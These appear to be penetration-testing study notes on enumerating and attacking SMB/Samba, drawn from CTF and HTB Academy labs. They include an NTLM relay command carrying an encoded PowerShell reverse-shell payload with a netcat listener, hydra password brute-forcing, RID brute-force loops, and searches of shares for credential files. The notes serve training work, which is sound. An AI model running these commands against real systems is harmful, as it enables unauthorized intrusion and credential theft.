SMB
Source CTF and HTB Academy
Usually on ports 137, 138, 139, 445
Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network. With the free software project Samba, there is also a solution that enables the use of SMB in Linux and Unix distributions and thus cross-platform communication via SMB. Access rights are defined by Access Control Lists (ACL). They can be controlled in a fine-grained manner based on attributes such as execute, read, and full access for individual users or user groups. The ACLs are defined based on the shares and therefore do not correspond to the rights assigned locally on the server.
Samba
Samba implements the Common Internet File System (CIFS) network protocol. CIFS is a "dialect" of SMB. CIFS is the extension of the SMB protocol. So when we pass SMB commands over Samba to an older NetBIOS service, it usually connects to the Samba server over TCP ports 137, 138, 139, but CIFS uses TCP port 445 only. With version 3, the Samba server gained the ability to be a full member of an Active Directory domain. With version 4, Samba even provides an Active Directory domain controller. It contains several so-called daemons for this purpose - which are Unix background programs. The SMB server daemon (smbd) belonging to Samba provides the first two functionalities, while the NetBIOS message block daemon (nmbd) implements the last two functionalities. The SMB service controls these two background programs.
Default configuration
cat /etc/samba/smb.conf | grep -v "#\|\;"
see default configuration
Setting | Description |
---|---|
| The name of the network share. |
| Workgroup that will appear when clients query. |
| The directory to which user is to be given access. |
| The string that will show up when a connection is initiated. |
| Synchronize the UNIX password with the SMB password? |
| Allow non-authenticated users to access defined shared? |
| What to do when a user login request doesn't match a valid UNIX user? |
| Should this share be shown in the list of available shares? |
| Allow connecting to the service without using a password? |
| Allow users to read files only? |
| What permissions need to be set for newly created files? |
Dangerous Settings
Setting | Description |
---|---|
| Allow listing available shares in the current share? |
| Forbid the creation and modification of files? |
| Allow users to create and modify files? |
| Allow connecting to the service without using a password? |
| Honor privileges assigned to specific SID? |
| What permissions must be assigned to the newly created files? |
| What permissions must be assigned to the newly created directories? |
| What script needs to be executed on the user's login? |
| Which script should be executed when the script gets closed? |
| Where the output of the magic script needs to be stored? |
Enumerate and attack SMB
Interact with a shared folder on windows
With the GUI
On Windows GUI, we can press [WINKEY] + [R]
to open the Run dialog box and type the file share location, e.g.: \\IP\SHARENAME\
.
We can either be able to access the file share right away or be prompted for a password.
With CMD
The command net use connects a computer to or disconnects a computer from a shared resource or displays information about computer connections. We can connect to a file share with the following command and map its content to the drive letter n.
The last dir command is explained below:
Syntax | Description |
---|---|
dir | Application |
n: | Directory or drive to search |
/a-d | /a is the attribute and -d means not directories |
/s | Displays files in a specified directory and all subdirectories |
/b | Uses bare format (no heading information or summary) |
The following command | find /c ":\\"
process the output of dir n: /a-d /s /b
to count how many files exist in the directory and subdirectories. You can use dir /?
to see the full help.
With dir we can search for specific names in files such as:
cred
password
users
secrets
key
Common File Extensions for source code such as:
.cs, .c, .go, .java, .php, .asp, .aspx, .html.
Other example for findstr here
Note with findstr it will search within the files with dir it will search in the file names.
Examples
Powershell
To provide a username and password with Powershell, we need to create a PSCredential object. It offers a centralized way to manage usernames, passwords, and credentials.
PSCredential Object
GCI In PowerShell, we can use the command Get-ChildItem or the short variant gci instead of the command dir
We can use the property -Include to find specific items from the directory specified by the Path parameter.
The Select-String cmdlet uses regular expression matching to search for text patterns in input strings and files. We can use Select-String similar to grep in UNIX or findstr.exe in Windows.
Examples
Interact with a shared folder on Linux
Mount
The credential file should look like this:
We can then use grep and find to search for specific strings.
Nmap
sudo nmap 10.129.14.128 -sV -sC -p139,445
You can use dedicated smb scripts
Responder
Relay a captured hash
Set smb to off in
/etc/responder/Responder.conf
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Create a powershell reverse shell with revshells
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlA[SNIPPET]'
Once the victim authenticates to our server, we poison the response and make it execute our command to obtain a reverse shell.
nc -lvnp 9001
Hashcat
rpcclient
rpcclient -U "" 10.129.14.128
orrpcclient -U'%' 10.10.110.17
Query | Description |
---|---|
| Server information. |
| Enumerate all domains that are deployed in the network. |
| Provides domain, server, and user information of deployed domains. |
| Enumerates all available shares. |
| Provides information about a specific share. |
| Enumerates all domain users. |
| Provides information about a specific user. |
| Provides information about a specific group. |
Sometimes not all commands are available.
for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
bruteforce userid
Impacket Samrdump
samrdump.py 10.129.14.128
Enum with Metasploit
msfconsole
use auxiliary/scanner/smb/smb_version
options
set RHOSTS IP-ADD
(in my example instead of IP-ADD I will put 10.0.2.4)We see the version of Samba so it is something that is going to be worth writing down in our notes.
smbclient
Tool that will help us to list shares or see useful info
smbclient -L \\10.10.55.112
list sharesConnect anonymously
smbclient --no-pass \\\\10.10.10.100\\SHARE
orsmbclient //10.10.10.134/SHARE
Use
-N
option in smbclient to suppress the password promptsmbclient -U user \\\\10.129.42.197\\SHARENAME
SMBmap
smbmap -H 192.168.1.40
smbmap -H 10.129.14.128 -r notes
browse the directory "notes"smbmap -H 10.129.14.128 --download "notes\note.txt"
Download a filesmbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
Upload a file if we have write permission
Enum4linux
Installation
Commands
enum4linux -a 10.10.10.100
output all sorts of infoenum4linux 10.10.11.45 -A -C
Crackmapexec
crackmapexec smb 10.129.14.128 --shares -u '' -p ''
Misc commands
Password attack
Hydra
hydra -L user.list -P password.list smb://10.129.42.197
Pass attack with Metasploit
What to try
smbclient --no-pass \\\\10.10.10.100\\SHARE
connect to a share anonymouslyYou might find interesting files this way
Check out the win version to see if it is vulnerable to anything (eternal blue for example)
We can also try this command
smbclient //10.10.10.134/SHARE
!<cmd>
run local system command even if connected to smb (exanple:!ls
)get
Download a file from smbsmbstatus
check connections on smb server
Resources
Last updated